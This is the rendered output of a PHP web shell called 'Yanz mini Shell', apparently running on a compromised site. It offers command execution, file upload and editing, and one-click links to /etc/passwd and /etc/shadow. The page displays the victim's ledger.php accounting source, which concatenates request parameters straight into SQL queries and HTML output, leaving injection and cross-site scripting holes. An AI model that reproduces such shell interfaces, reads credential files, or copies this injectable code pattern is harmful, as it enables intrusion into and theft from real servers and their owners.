Yanz mini Shell

<title>Yanz mini Shell</title>
<link rel="icon" href="https://e.top4top.io/p_26973oc9i1.png">
<style>
  html{
    overflow: auto;
    background: black;
    color: white;
    font-family: "Courier New";
  }
  a {
    text-decoration: none;
    color: white;
  }
  .a-bar {
    text-decoration: none;
    color: black;
  }
  .bar {
    display: inline;
    padding: 5px;
    background: white;
    color: black;
  }
  .baratas {
    overflow: auto;
    border: 1px solid white;
    padding: 10px;
    background: white;
    color: black;
  }
  .close {
    overflow: auto;
    border: 1px solid red;
    background: red;
    color: white;
  }
  .kotak {
    overflow: auto;
    border: 1px solid white;
    padding: 10px;
    color: white;
  }
  .l {
    float: left;
    width: 50%;
  }
  .r {
    float: right;
    width: 50%;
    text-align: right;
  }
  .l1 {
    float: left;
    width: 20%;
    border: 1px solid white;
    padding: 10px;
  }
  .r1 {
    float: right;
    width: 75%;
    border: 1px solid white;
    padding: 10px;
  }
  input {
    background: white;
    color: black;
    border: 1px solid white;
    padding: 5px;
  }
  .file {
    width: 100%;
    height: 50%;
  }
</style>
<div class="baratas">
  <div class="l">
    Yanz Mini Shell
  </div>
  <div class="r">
      <a class="a-bar" href="?page=blank">[_]</a>
      <a class="a-bar" href="?page=blank">[-]</a>
      <a class="close" href="?">[X]</a>
  </div>
</div>
<div class="kotak">
  [ <a href="?ynzmini=/home/housgcjs/elaan.net">HomeShell 1</a> ]
  [ <a href="?ynzmini=/home/housgcjs/elaan.net">HomeShell 2</a> ]
  [ <a href="?page=upload">Upload</a> ]
  [ <a href="?page=shell">Command Shell</a> ]
  [ <a href="?page=scripting">Scripting</a> ]
  [ <a href="?page=about">About</a> ]
</div>
<div class="kotak">
  [ Directory ] => <li class="bar"><a class="a-bar" href="?ynzmini=/">/</a></li>
<li class='bar'><a class='a-bar' href='?ynzmini=/home/'>home</a></li>
<li class='bar'><a class='a-bar' href='?ynzmini=/home/housgcjs/'>housgcjs</a></li>
<li class='bar'><a class='a-bar' href='?ynzmini=/home/housgcjs/elaan.net/'>elaan.net</a></li>
</div>
<div class="kotak">
  <div class="l1">
    <div class="baratas">
      Action
    </div>
    <hr>
    [*] <a href="?page=newfile">New File</a>
    <br>
    [*] <a href="?page=newfolder">New Folder</a>
    <hr>
    <div class="baratas">
      Sensitive File
    </div>
    <hr>
    [*] <a href="?file=/etc/passwd">/etc/passwd</a>
    <br>
    [*] <a href="?file=/etc/shadow">/etc/shadow</a>
    <br>
    [*] <a href="?file=/etc/resolv.conf">/etc/resolv.conf</a>
  </div>
  <div class="r1">
      [ <a href="?file=/home/housgcjs/elaan.net/modeltown/ledger.php&delete=true">Delete</a> ]
[ <a href="?file=/home/housgcjs/elaan.net/modeltown/ledger.php&edit=true">Edit</a> ]
[ <a href="?file=/home/housgcjs/elaan.net/modeltown/ledger.php&rename=true">Rename</a> ]
[ <a href="?">Back</a> ]
<hr>
      <textarea class='file'>&lt;?php 
$path=&quot;admin/orna/&quot;;
require_once(&#039;admin/orna/db.php&#039;);
$acc=@$_POST[&#039;acc&#039;];
$from=@$_POST[&#039;from&#039;];
$to=@$_POST[&#039;till&#039;];

if(!isset($_POST[&#039;submit&#039;])){
header(&#039;location:error.php&#039;);
exit();}

else if($_POST[&#039;submit&#039;]==&#039;print&#039;){
header(&#039;location:onscreen/ledger.php?acc=&#039;.$acc.&#039;&amp;from=&#039;.$from.&#039;&amp;till=&#039;.$to);
exit();}

$sql1=&quot;select * from `&quot;.$MySQL_database.&quot;`.acc_mast where acc_nm=&#039;&quot;.$acc.&quot;&#039;&quot;;
$query1=mysqli_query($connection,$sql1);
$mast=mysqli_fetch_assoc($query1);
$suffix=&quot;&quot;;
$sql_cust=&quot;select suffix from `&quot;.$MySQL_database.&quot;`.cust_sup where acc_nm=&#039;&quot;.$acc.&quot;&#039;&quot;;
$query_cust=mysqli_query($connection,$sql_cust);
if(mysqli_num_rows($query_cust)&gt;0){
  $cust_details=mysqli_fetch_assoc($query_cust);
  if($cust_details[&quot;suffix&quot;]!=&quot;&quot;){
    $suffix=&quot; - &quot;.$cust_details[&quot;suffix&quot;];
  }
}

//CHECK EXISTANCE STATUS OF SV
$sql_check_existance=&quot;select 
s.vnumb 
from 
`&quot;.$MySQL_database.&quot;`.store_out_m s, 
`&quot;.$MySQL_database.&quot;`.acc_trans t 
where
s.existance=&#039;virtual&#039; and 
t.vtype=&#039;sv&#039; and
t.vnumb=s.vnumb and 
t.vdate=s.inv_dt and 
t.acc_nm=&#039;&quot;.$acc.&quot;&#039; and 
t.del=&#039;n&#039; and 
t.vdate&gt;=&#039;&quot;.$from.&quot;&#039; and 
t.vdate&lt;=&#039;&quot;.$to.&quot;&#039;&quot;;

$query_check_existance=mysqli_query($connection,$sql_check_existance);
$in=&quot;(&quot;;
while($existance=mysqli_fetch_assoc($query_check_existance)){
$in.=&quot;&#039;&quot;.$existance[&#039;vnumb&#039;].&quot;&#039;,&quot;;
}

if($in!=&quot;(&quot;){
$in=substr($in,0,strlen($in)-1);
}else{
$in.=&quot;&#039;&#039;&quot;;
}
$in.=&quot;)&quot;;
//CHECK EXISTANCE STATUS OF SV


//CHECK IF PREVIOUS YEAR IS CLOSED
$sql_check_closing=&quot;SELECT max(year_end) as previous_closing FROM `&quot;.$MySQL_database.&quot;`.`year_closing` where log=&#039;closed&#039;&quot;;
$query_check_closing=mysqli_query($connection,$sql_check_closing);
$previous_closing=mysqli_fetch_assoc($query_check_closing);
//CHECK IF PREVIOUS YEAR IS CLOSED



$sql3=&quot;select sum(debit),sum(crdit) from `&quot;.$MySQL_database.&quot;`.acc_trans where acc_nm=&#039;&quot;.$acc.&quot;&#039; and del=&#039;n&#039; and acc_trans.vdate&gt;=&#039;&quot;.$from.&quot;&#039; and acc_trans.vdate&lt;=&#039;&quot;.$to.&quot;&#039; and vnumb not in&quot;.$in;
$query3=mysqli_query($connection,$sql3);
$total=mysqli_fetch_assoc($query3);

$op= &quot;SELECT SUM(debit) , SUM(crdit) FROM `&quot;.$MySQL_database.&quot;`.acc_trans WHERE acc_nm =&#039;$acc&#039; and del=&#039;n&#039; and vdate&lt;&#039;&quot;.$from.&quot;&#039; and vnumb not in&quot;.$in;
$op=mysqli_fetch_assoc(mysqli_query($connection,$op));
$op_bal=($mast[&#039;opbal&#039;]+$op[&#039;SUM(debit)&#039;])-$op[&#039;SUM(crdit)&#039;];

$closing_bal=($op_bal+$total[&#039;sum(debit)&#039;])-$total[&#039;sum(crdit)&#039;];

if ( $op_bal &lt; 0 ) 
{$bal_type= &quot;CR&quot;;}
elseif($op_bal&gt;0)
{$bal_type= &quot;DR&quot;;}
else{$bal_type=&quot;&quot;;}

if ( $closing_bal &lt; 0 ) 
{$cl_bal_type= &quot;CR&quot;;}
elseif($closing_bal&gt;0)
{$cl_bal_type= &quot;DR&quot;;}
else{$cl_bal_type=&quot;&quot;;}

if(isset($_GET[&#039;cid&#039;])){
$sql_closing_year=&quot;select * from year_closing where del=&#039;N&#039; and log=&#039;closed&#039; and  id&lt;&#039;&quot;.@$_GET[&#039;cid&#039;].&quot;&#039; order by id desc limit 0,1&quot;;
$closing_id=mysqli_fetch_assoc(mysqli_query($connection,$sql_closing_year));
if($closing_id[&#039;id&#039;]!=&#039;&#039;){
$previous_link=&quot;&lt;div class=\&quot;input-group-addon\&quot;&gt;&lt;a href=\&quot;ledger_parameters_closed.php?acc_nm=&quot;.$acc.&quot;&amp;cid=&quot;.$closing_id[&#039;id&#039;].&quot;\&quot;&gt;&lt;i class=&#039;fa fa-link&#039;&gt;&lt;/i&gt;&lt;/a&gt;&lt;/div&gt;&quot;;
}else{
$previous_link=&quot;&quot;;
}
}else{
$sql_closing_year=&quot;select * from `&quot;.$MySQL_database.&quot;`.year_closing where del=&#039;N&#039; and log=&#039;closed&#039; order by id desc limit 0,1&quot;;
$query_closing_year=mysqli_query($connection,$sql_closing_year);
if(mysqli_num_rows($query_closing_year)&gt;0){
  $closing_id=mysqli_fetch_assoc($query_closing_year);
  if($closing_id[&#039;id&#039;]!=&#039;&#039;){
  $previous_link=&quot;&lt;div class=\&quot;input-group-addon\&quot;&gt;&lt;a href=\&quot;ledger_parameters_closed.php?acc_nm=&quot;.$acc.&quot;&amp;cid=&quot;.$closing_id[&#039;id&#039;].&quot;\&quot;&gt;&lt;i class=&#039;fa fa-link&#039;&gt;&lt;/i&gt;&lt;/a&gt;&lt;/div&gt;&quot;;
  }else{
  $previous_link=&quot;&quot;;
  }
}else{
  $previous_link=&quot;&quot;;
}

}

?&gt;
&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;
  &lt;head&gt;
    &lt;meta charset=&quot;utf-8&quot;&gt;
    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
    &lt;meta name=&quot;description&quot; content=&quot;&quot;&gt;
    &lt;meta name=&quot;author&quot; content=&quot;Dashboard&quot;&gt;
    &lt;meta name=&quot;keyword&quot; content=&quot;Dashboard, Bootstrap, Admin, Template, Theme, Responsive, Fluid, Retina&quot;&gt;

    &lt;title&gt;Account&lt;/title&gt;
&lt;script src=&quot;assets/js/now.js&quot;&gt;&lt;/script&gt;
    &lt;!-- Bootstrap core CSS --&gt;
    &lt;link href=&quot;assets/css/bootstrap.css&quot; rel=&quot;stylesheet&quot;&gt;
&lt;link href=&quot;assets/css/orna.css&quot; rel=&quot;stylesheet&quot;&gt;
    &lt;!--external css--&gt;
    &lt;link href=&quot;assets/font-awesome/css/font-awesome.css&quot; rel=&quot;stylesheet&quot; /&gt;
    &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;assets/js/gritter/css/jquery.gritter.css&quot; /&gt;
        
    &lt;!-- Custom styles for this template --&gt;
    &lt;link href=&quot;assets/css/style.css&quot; rel=&quot;stylesheet&quot;&gt;
    &lt;link href=&quot;assets/css/style-responsive.css&quot; rel=&quot;stylesheet&quot;&gt;

    &lt;!-- HTML5 shim and Respond.js IE8 support of HTML5 elements and media queries --&gt;
    &lt;!--[if lt IE 9]&gt;
      &lt;script src=&quot;https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js&quot;&gt;&lt;/script&gt;
      &lt;script src=&quot;https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js&quot;&gt;&lt;/script&gt;
    &lt;![endif]--&gt;
  &lt;/head&gt;

  &lt;body&gt;

  &lt;section id=&quot;container&quot; &gt;
      &lt;!--header start--&gt;
      &lt;?php require_once(&#039;inc-core/header.inc&#039;)?&gt;
      &lt;!--header end--&gt;
  
      &lt;!--sidebar start--&gt;
      &lt;?php require_once(&#039;inc-core/side-bar.inc&#039;);?&gt;
      &lt;!--sidebar end--&gt;
      
  
&lt;section id=&quot;main-content&quot;&gt;
&lt;section class=&quot;wrapper&quot;&gt;
&lt;table class=&quot;table table-striped table-advance table-hover&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
  &lt;th class=&quot;col-md-12&quot;&gt;
&lt;a href=&quot;onscreen/ledger.php&lt;?php echo &#039;?acc=&#039;.$acc.&#039;&amp;from=&#039;.$from.&#039;&amp;till=&#039;.$to;?&gt;&quot; title=&quot;Print Ledger&quot;&gt;&lt;button class=&quot;btn btn-theme btn-xs&quot;&gt;&lt;i class=&quot;fa fa-print&quot;&gt;&lt;/i&gt; Print&lt;/button&gt;&lt;/a&gt;
&lt;a href=&quot;onscreen/ledger.php&lt;?php echo &#039;?acc=&#039;.$acc.&#039;&amp;from=&#039;.$from.&#039;&amp;till=&#039;.$to;?&gt;&amp;excel=true&quot; title=&quot;Export Ledger&quot;&gt;&lt;button class=&quot;btn btn-default btn-xs&quot;&gt;&lt;i class=&quot;fa fa-print&quot;&gt;&lt;/i&gt; Export to Excel&lt;/button&gt;&lt;/a&gt;  
&lt;a href=&quot;ledger_parameters.php&quot; title=&quot;View Another Ledger&quot;&gt;&lt;button class=&quot;btn btn-success btn-xs&quot;&gt;&lt;i class=&quot;fa fa-refresh&quot;&gt;&lt;/i&gt; Clear&lt;/button&gt;&lt;/a&gt;
&lt;a href=&quot;account_mod.php?acc=&lt;?php echo $acc;?&gt;&quot;&gt;&lt;button class=&quot;btn btn-theme btn-xs&quot; title=&quot;Edit This Account Details&quot;&gt;&lt;i class=&quot;fa fa-pencil&quot;&gt;&lt;/i&gt; Edit Account Details&lt;/button&gt;&lt;/a&gt;
                            &lt;a href=&quot;ledger_parameters.php?acc_nm=&lt;?php echo $acc;?&gt;&quot; title=&quot;Change Date&quot;&gt;&lt;button class=&quot;btn btn-theme btn-xs&quot;&gt;&lt;i class=&quot;fa fa-calendar&quot;&gt;&lt;/i&gt; Change Date&lt;/button&gt;&lt;/a&gt;
  
  &lt;/th&gt;
  &lt;th class=&quot;col-md-10&quot;&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;/table&gt;

&lt;?php if($from&gt;$to){
die(&#039;&lt;center&gt;&lt;h1&gt;Your have entered invalid date...&lt;/h1&gt; Starting Date (&#039;.$from.&#039;) is grater then ending date (&#039;.$to.&#039;)&lt;br&gt;Check Manuals or Contact DBA/Administrator for Assistance.&lt;br&gt;Or if this message is wrong Contact ProFinance.&lt;br&gt;Visit www.ProFinance.com&lt;br&gt;support@ProFinance.com&lt;/center&gt;&#039;);}?&gt;

&lt;div id=&quot;title&quot;&gt;
&lt;div class=&quot;row&quot;&gt;  
  &lt;div class=&quot;col-sm-10&quot;&gt;
&lt;h1 class=&quot;title&quot;&gt;&lt;?php echo $mast[&#039;title&#039;].$suffix;?&gt;&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;From &lt;/strong&gt;&lt;?php echo date(&#039;d-M-Y&#039;, strtotime($from));?&gt; &lt;strong&gt; | To&lt;/strong&gt; &lt;?php echo date(&#039;d-M-Y&#039;, strtotime($to));?&gt;&lt;/p&gt;
  &lt;/div&gt;
  
  &lt;div class=&quot;col-sm-2 left&quot;&gt;
Opening Balance:
&lt;div class=&quot;input-group&quot;&gt;
  &lt;div class=&quot;input-group-addon&quot;&gt;&lt;?php echo $bal_type;?&gt;&lt;/div&gt;
  &lt;input type=&quot;text&quot; class=&quot;form-control&quot; value=&quot;&lt;?php echo number_format($op_bal);?&gt;&quot; placeholder=&quot;Opening Balance&quot;&gt;
  &lt;?php echo $previous_link;?&gt;
&lt;/div&gt;

Closing Balance:
&lt;div class=&quot;input-group&quot;&gt;
  &lt;div class=&quot;input-group-addon&quot;&gt;&lt;?php echo $cl_bal_type;?&gt;&lt;/div&gt;
  &lt;input type=&quot;text&quot; class=&quot;form-control&quot; value=&quot;&lt;?php echo number_format(abs($closing_bal));?&gt;&quot; placeholder=&quot;Closing Balance&quot;&gt;
&lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;&lt;!--/row--&gt;
&lt;/div&gt;
&lt;div class=&quot;row&quot; style=&quot;margin:1em 1em;&quot;&gt;
                  &lt;div class=&quot;col-md-12&quot;&gt;
                      
                          &lt;table class=&quot;table table-striped table-advance table-hover&quot;&gt;
                              &lt;thead&gt;
                              &lt;tr class=&quot;table_header&quot;&gt;
  &lt;th class=&quot;col-md-1&quot;&gt;&lt;i class=&quot;fa fa-calendar&quot;&gt;&lt;/i&gt; Date&lt;/th&gt;
                                  &lt;th class=&quot;col-md-1&quot;&gt;&lt;i class=&quot;fa fa-ticket&quot;&gt;&lt;/i&gt; Voucher&lt;/th&gt;
  &lt;th class=&quot;col-md-1&quot;&gt;&lt;i class=&quot;fa fa-tasks&quot;&gt;&lt;/i&gt; Type&lt;/th&gt;
                                  &lt;th class=&quot;col-md-5&quot;&gt;&lt;i class=&quot;fa fa-edit&quot;&gt;&lt;/i&gt; Description&lt;/th&gt;
                                  &lt;th class=&quot;col-md-1&quot;&gt;&lt;i class=&quot;fa fa-money&quot;&gt;&lt;/i&gt; Debit&lt;/th&gt;
                                  &lt;th class=&quot;col-md-1&quot;&gt;&lt;i class=&quot; fa fa-money&quot;&gt;&lt;/i&gt; Credit&lt;/th&gt;
                                  &lt;th class=&quot;col-md-1&quot;&gt;&lt;i class=&quot; fa fa-money&quot;&gt;&lt;/i&gt; Balance&lt;/th&gt;
  &lt;th class=&quot;col-md-1&quot;&gt;&lt;i class=&quot; fa fa-cog&quot;&gt;&lt;/i&gt; Action&lt;/th&gt;
                              &lt;/tr&gt;
                              &lt;/thead&gt;
                              &lt;tbody&gt;
                              &lt;?php 
  $sql2=&quot;select id,vdate,vnumb,vtype,descp,debit,crdit,user from `&quot;.$MySQL_database.&quot;`.acc_trans where acc_nm=&#039;&quot;.$acc.&quot;&#039; and del=&#039;n&#039; and acc_trans.vdate&gt;=&#039;&quot;.$from.&quot;&#039; and acc_trans.vdate&lt;=&#039;&quot;.$to.&quot;&#039; and acc_trans.vnumb not in&quot;.$in.&quot; order by vdate, vnumb&quot;;
  $query2=mysqli_query($connection,$sql2);

  $increment_debit=0;
  $increment_credit=0;
  while($trans=mysqli_fetch_assoc($query2))
  {
$increment_debit=$increment_debit+$trans[&#039;debit&#039;];
$increment_credit=$increment_credit+$trans[&#039;crdit&#039;];
$cl_bal=($op_bal+$increment_debit)-$increment_credit;

if ( $cl_bal &lt; 0 ) 
{$cl_bal_type= &quot;CR&quot;;}
elseif($cl_bal&gt;0)
{$cl_bal_type= &quot;DR&quot;;}
else{$cl_bal_type=&quot;&quot;;}
                                  
  print&quot;
  &lt;tr&gt;
                                  &lt;td&gt;&quot;; echo date(&#039;d-M-Y&#039;, strtotime($trans[&#039;vdate&#039;])); print&quot;&lt;/td&gt;
                                  &lt;td&gt;&lt;a href=\&quot;onscreen/voucher.php?vnumb=&quot;;echo $trans[&#039;vnumb&#039;];print&quot;\&quot; target=\&quot;blank\&quot; title=\&quot;View Voucher\&quot;&gt; 
                                  &lt;span class=\&quot;label label-info label-mini\&quot; style=\&quot;text-transform:uppercase;\&quot;&gt;&quot;.$trans[&#039;vtype&#039;].&quot;V&lt;/span&gt; &quot;.$trans[&#039;vnumb&#039;].&quot;&lt;/a&gt;&lt;/td&gt;&quot;;
  
  //if(($trans[&#039;vtype&#039;]==&#039;sv&#039;) &amp;&amp; ($trans[&#039;user&#039;]==&#039;System&#039;))
  if(($trans[&#039;vtype&#039;]==&#039;sv&#039;))
                                        {
                                          $sql4=&quot;SELECT * FROM  `&quot;.$MySQL_database.&quot;`.`store_out_m` where vnumb=&#039;&quot;.$trans[&#039;vnumb&#039;].&quot;&#039;&quot;;
                                          $inv=mysqli_fetch_assoc(mysqli_query($connection,$sql4));
                                          $have_invoice = mysqli_num_rows(mysqli_query($connection,$sql4));
                                          if($have_invoice&gt;=1){
                                              $edit_btn=&quot;href=\&quot;sale_edit.php?id=&quot;.$inv[&#039;mast_id&#039;].&quot;\&quot;&quot;;
                                              
                                            print&quot;
                                              &lt;td&gt;&lt;a href=\&quot;onscreen/sl_invoice.php?id=&quot;;echo $inv[&#039;mast_id&#039;]; print&quot;&amp;status=out\&quot; title=\&quot;View Invoice\&quot; target=\&quot;blank\&quot;&gt;&lt;span class=\&quot;label label-primary label-mini\&quot; style=\&quot;text-transform:uppercase;\&quot;&gt;INV&lt;/span&gt;  &quot;.$inv[&#039;mast_id&#039;].&quot;&lt;/a&gt;&lt;/td&gt;
                                              &quot;;

                                          }else{
                                              $edit_btn=&quot;href=\&quot;e_vch.php?vnum=&quot;.$trans[&#039;vnumb&#039;].&quot;\&quot;&quot;;
                                              
                                              print&quot;&lt;td&gt;&lt;a href=\&quot;#\&quot; title=\&quot;N/A\&quot;&gt;
                                                    &lt;span class=\&quot;label label-primary label-mini\&quot; style=\&quot;text-transform:uppercase;\&quot;&gt;N/A&lt;/span&gt;
                                                    &lt;/a&gt;
                                                &lt;/td&gt;&quot;;
                                          }   
                                          
                                    }
                                  
                                  else if(($trans[&#039;vtype&#039;]==&#039;sr&#039;))
                                        {
                                          $sql4=&quot;SELECT * FROM  `&quot;.$MySQL_database.&quot;`.`store_in_m` where vnumb=&#039;&quot;.$trans[&#039;vnumb&#039;].&quot;&#039;&quot;;
                                          $inv=mysqli_fetch_assoc(mysqli_query($connection,$sql4));
                                          $have_invoice = mysqli_num_rows(mysqli_query($connection,$sql4));
                                          if($have_invoice&gt;=1){
                                              //$edit_btn=&quot;href=\&quot;sr_sale_edit.php?id=&quot;.$inv[&#039;mast_id&#039;].&quot;\&quot;&quot;;
                                              $edit_btn=&quot;href=\&quot;#\&quot;&quot;;
                                              
                                            print&quot;
                                              &lt;td&gt;&lt;a href=\&quot;onscreen/sr_invoice.php?id=&quot;;echo $inv[&#039;mast_id&#039;]; print&quot;&amp;status=in\&quot; title=\&quot;View Invoice\&quot; target=\&quot;blank\&quot;&gt;&lt;span class=\&quot;label label-primary label-mini\&quot; style=\&quot;text-transform:uppercase;\&quot;&gt;INV&lt;/span&gt;   &quot;.$inv[&#039;mast_id&#039;].&quot;&lt;/a&gt;&lt;/td&gt;
                                              &quot;;

                                          }else{
                                              $edit_btn=&quot;href=\&quot;e_vch.php?vnum=&quot;.$trans[&#039;vnumb&#039;].&quot;\&quot;&quot;;
                                              
                                              print&quot;&lt;td&gt;&lt;a href=\&quot;#\&quot; title=\&quot;N/A\&quot;&gt;
                                                    &lt;span class=\&quot;label label-primary label-mini\&quot; style=\&quot;text-transform:uppercase;\&quot;&gt;N/A&lt;/span&gt;
                                                    &lt;/a&gt;
                                                &lt;/td&gt;&quot;;
                                          }   
                                          
                                    }
                                  
  
  else if (($trans[&#039;vtype&#039;]==&#039;pv&#039;) &amp;&amp; ($trans[&#039;user&#039;]==&#039;System&#039;))
  {
                                          $sql4=&quot;SELECT * FROM  `&quot;.$MySQL_database.&quot;`.`store_in_m` where vnumb=&#039;&quot;.$trans[&#039;vnumb&#039;].&quot;&#039;&quot;;
                                          $inv=mysqli_fetch_assoc(mysqli_query($connection,$sql4));
                                          print&quot;
                                          &lt;td&gt;&lt;a href=\&quot;onscreen/sl_invoice.php?id=&quot;;echo $inv[&#039;mast_id&#039;]; print&quot;&amp;status=in\&quot; title=\&quot;View Invoice\&quot;  target=\&quot;blank\&quot;&gt;&lt;span class=\&quot;label label-primary label-mini\&quot; style=\&quot;text-transform:uppercase;\&quot;&gt;INV&lt;/span&gt;  &quot;.$inv[&#039;mast_id&#039;].&quot;&lt;/a&gt;&lt;/td&gt;&quot;;
                                          $edit_btn=&quot;href=\&quot;#\&quot;&quot;;
                                  }
  
  else if($trans[&#039;vtype&#039;]==&#039;cr&#039; || $trans[&#039;vtype&#039;]==&#039;br&#039;  || $trans[&#039;vtype&#039;]==&#039;ad&#039;)
  {
                                          $sql5=&quot;SELECT id FROM `&quot;.$MySQL_database.&quot;`.`rec` where vnumb=&#039;&quot;.$trans[&#039;vnumb&#039;].&quot;&#039; and rdate=&#039;&quot;.$trans[&#039;vdate&#039;].&quot;&#039;&quot;;
                                          $rec=mysqli_fetch_assoc(mysqli_query($connection,$sql5));
                                          $have_rec = mysqli_num_rows(mysqli_query($connection,$sql5));
                                          if($have_rec&gt;=1){
                                              $edit_btn=&quot;href=\&quot;rec_edit.php?id=&quot;.$rec[&#039;id&#039;].&quot;&amp;table=rec\&quot;&quot;;
                                              
                                              print&quot;&lt;td&gt;&lt;a href=\&quot;onscreen/receipt.php?rec_id=&quot;;echo $rec[&#039;id&#039;]; print&quot;\&quot; title=\&quot;View Receipt\&quot;  target=\&quot;blank\&quot;&gt;&lt;span class=\&quot;label label-primary label-mini\&quot; style=\&quot;text-transform:uppercase;\&quot;&gt;REC&lt;/span&gt; &quot;; 
                                              echo &#039; &#039;.str_pad($rec[&#039;id&#039;],6,&quot;0&quot;,STR_PAD_LEFT); print&quot;&lt;/a&gt;&lt;/td&gt;&quot;;
                                              
                                          }else{
                                              $edit_btn=&quot;href=&#039;e_vch.php?vnum=&quot;.$trans[&#039;vnumb&#039;].&quot;&#039;&quot;;
                                              
                                              print&quot;&lt;td&gt;&lt;a href=\&quot;#\&quot; title=\&quot;N/A\&quot;&gt;
                                                    &lt;span class=\&quot;label label-primary label-mini\&quot; style=\&quot;text-transform:uppercase;\&quot;&gt;N/A&lt;/span&gt;
                                                    &lt;/a&gt;
                                                &lt;/td&gt;&quot;;
                                          }  

                                            
                                      }
                                  
                                  else if($trans[&#039;vtype&#039;]==&#039;cp&#039; || $trans[&#039;vtype&#039;]==&#039;bp&#039;)
  {
                                          $sql5=&quot;SELECT id FROM `&quot;.$MySQL_database.&quot;`.`pay` where vnumb=&#039;&quot;.$trans[&#039;vnumb&#039;].&quot;&#039; and rdate=&#039;&quot;.$trans[&#039;vdate&#039;].&quot;&#039;&quot;;
                                          $rec=mysqli_fetch_assoc(mysqli_query($connection,$sql5));
                                          $have_payment = mysqli_num_rows(mysqli_query($connection,$sql5));
                                          if($have_payment&gt;=1){
                                              //$edit_btn=&quot;href=\&quot;pay_edit.php?id=&quot;.$rec[&#039;id&#039;].&quot;&amp;table=pay\&quot;&quot;;
                                              $edit_btn=&quot;href=&#039;#&#039;&quot;;
                                              
                                              /*
                                              print&quot;&lt;td&gt;&lt;a href=\&quot;onscreen/payment.php?pay_id=&quot;.$rec[&#039;id&#039;].&quot;\&quot; title=\&quot;View Payment\&quot;  target=\&quot;blank\&quot;&gt;&lt;span class=\&quot;label label-primary label-mini\&quot; style=\&quot;text-transform:uppercase;\&quot;&gt;PAY&lt;/span&gt; &quot;.str_pad($rec[&#039;id&#039;],6,&quot;0&quot;,STR_PAD_LEFT).&quot;&lt;/a&gt;&lt;/td&gt;&quot;;
                                              */
                                              
                                              print&quot;&lt;td&gt;&lt;a href=\&quot;#\&quot; &gt;&lt;span class=\&quot;label label-primary label-mini\&quot; style=\&quot;text-transform:uppercase;\&quot;&gt;PAY&lt;/span&gt; &quot;.str_pad($rec[&#039;id&#039;],6,&quot;0&quot;,STR_PAD_LEFT).&quot;&lt;/a&gt;&lt;/td&gt;&quot;;
                                              
                                          }else{
                                              $edit_btn=&quot;href=&#039;e_vch.php?vnum=&quot;.$trans[&#039;vnumb&#039;].&quot;&#039;&quot;;
                                              
                                              print&quot;&lt;td&gt;&lt;a href=\&quot;#\&quot; title=\&quot;N/A\&quot;&gt;
                                                    &lt;span class=\&quot;label label-primary label-mini\&quot; style=\&quot;text-transform:uppercase;\&quot;&gt;N/A&lt;/span&gt;
                                                    &lt;/a&gt;
                                                &lt;/td&gt;&quot;;
                                          }  

                                            
                                      }
  
  else{
                                        $edit_btn=&quot;href=&#039;e_vch.php?vnum=&quot;.$trans[&#039;vnumb&#039;].&quot;&#039;&quot;;
                                        print&quot;&lt;td&gt;&lt;span class=\&quot;label label-info label-mini\&quot; style=\&quot;text-transform:uppercase;\&quot;&gt;&quot;; echo $trans[&#039;vtype&#039;].&#039;V&#039;; print&quot;&lt;/span&gt;&lt;/td&gt;&quot;;
                                        //$edit_btn=&#039;&#039;;
                                    }
  
  print&quot;&lt;td&gt;&quot;; echo strtoupper($trans[&#039;descp&#039;]); print&quot;&lt;/td&gt;
  &lt;td&gt;&quot;; echo number_format($trans[&#039;debit&#039;]); print&quot;&lt;/td&gt;
  &lt;td&gt;&quot;; echo number_format($trans[&#039;crdit&#039;]); print&quot; &lt;/td&gt;
  &lt;td style=\&quot;font-weight:bold;\&quot;&gt;&quot;; echo number_format(abs($cl_bal)).&quot; &quot;.$cl_bal_type; print&quot; &lt;/td&gt;
                                  &lt;td&gt;
                                      &lt;a &quot;; echo $edit_btn; print&quot; target=\&quot;blank\&quot;&gt;&lt;button class=\&quot;btn btn-primary btn-xs\&quot;&gt;&lt;i class=\&quot;fa fa-pencil\&quot;&gt;&lt;/i&gt;&lt;/button&gt;&lt;/a&gt;
                                      
                                      &lt;button class=\&quot;btn btn-danger btn-xs\&quot; data-toggle=\&quot;modal\&quot; data-target=\&quot;#myModal&quot;; echo $trans[&#039;id&#039;]; print&quot;\&quot;&gt;&lt;i class=\&quot;fa fa-trash-o \&quot;&gt;&lt;/i&gt;&lt;/button&gt;
                                  &lt;/td&gt;
  &lt;!-- Modal --&gt;
                                    &lt;div class=\&quot;modal fade\&quot; id=\&quot;myModal&quot;; echo $trans[&#039;id&#039;]; print&quot;\&quot; tabindex=\&quot;-1\&quot; role=\&quot;dialog\&quot; aria-labelledby=\&quot;myModalLabel\&quot; aria-hidden=\&quot;true\&quot;&gt;
                                      &lt;div class=\&quot;modal-dialog\&quot;&gt;
                                        &lt;div class=\&quot;modal-content\&quot;&gt;
                                          &lt;div class=\&quot;modal-header\&quot;&gt;
                                            &lt;button type=\&quot;button\&quot; class=\&quot;close\&quot; data-dismiss=\&quot;modal\&quot; aria-hidden=\&quot;true\&quot;&gt;&amp;times;&lt;/button&gt;
                                            &lt;h4 class=\&quot;modal-title\&quot; id=\&quot;myModalLabel\&quot;&gt;Delete Voucher No: &quot;; echo $trans[&#039;vnumb&#039;]; print&quot;?&lt;/h4&gt;
                                          &lt;/div&gt;
                                          &lt;div class=\&quot;modal-body\&quot;&gt;Are you sure you want to delete this (&quot;; echo $trans[&#039;vtype&#039;]; print&quot;)? &lt;/div&gt;
                                          &lt;div class=\&quot;modal-footer\&quot;&gt;
                                            &lt;button type=\&quot;button\&quot; id=\&quot;&quot;; echo $trans[&#039;vnumb&#039;]; print&quot;\&quot; class=\&quot;btn btn-default del\&quot; &gt;Delete&lt;/button&gt;
                                            &lt;button type=\&quot;button\&quot; class=\&quot;btn btn-primary\&quot; data-dismiss=\&quot;modal\&quot;&gt;Cancel&lt;/button&gt;
                                          &lt;/div&gt;
                                        &lt;/div&gt;
                                      &lt;/div&gt;
                                    &lt;/div&gt;
                              &lt;/tr&gt;&quot;;}?&gt;
  &lt;tr&gt;
                                  &lt;td&gt;&lt;/td&gt;
                                  &lt;td&gt;&lt;/td&gt;
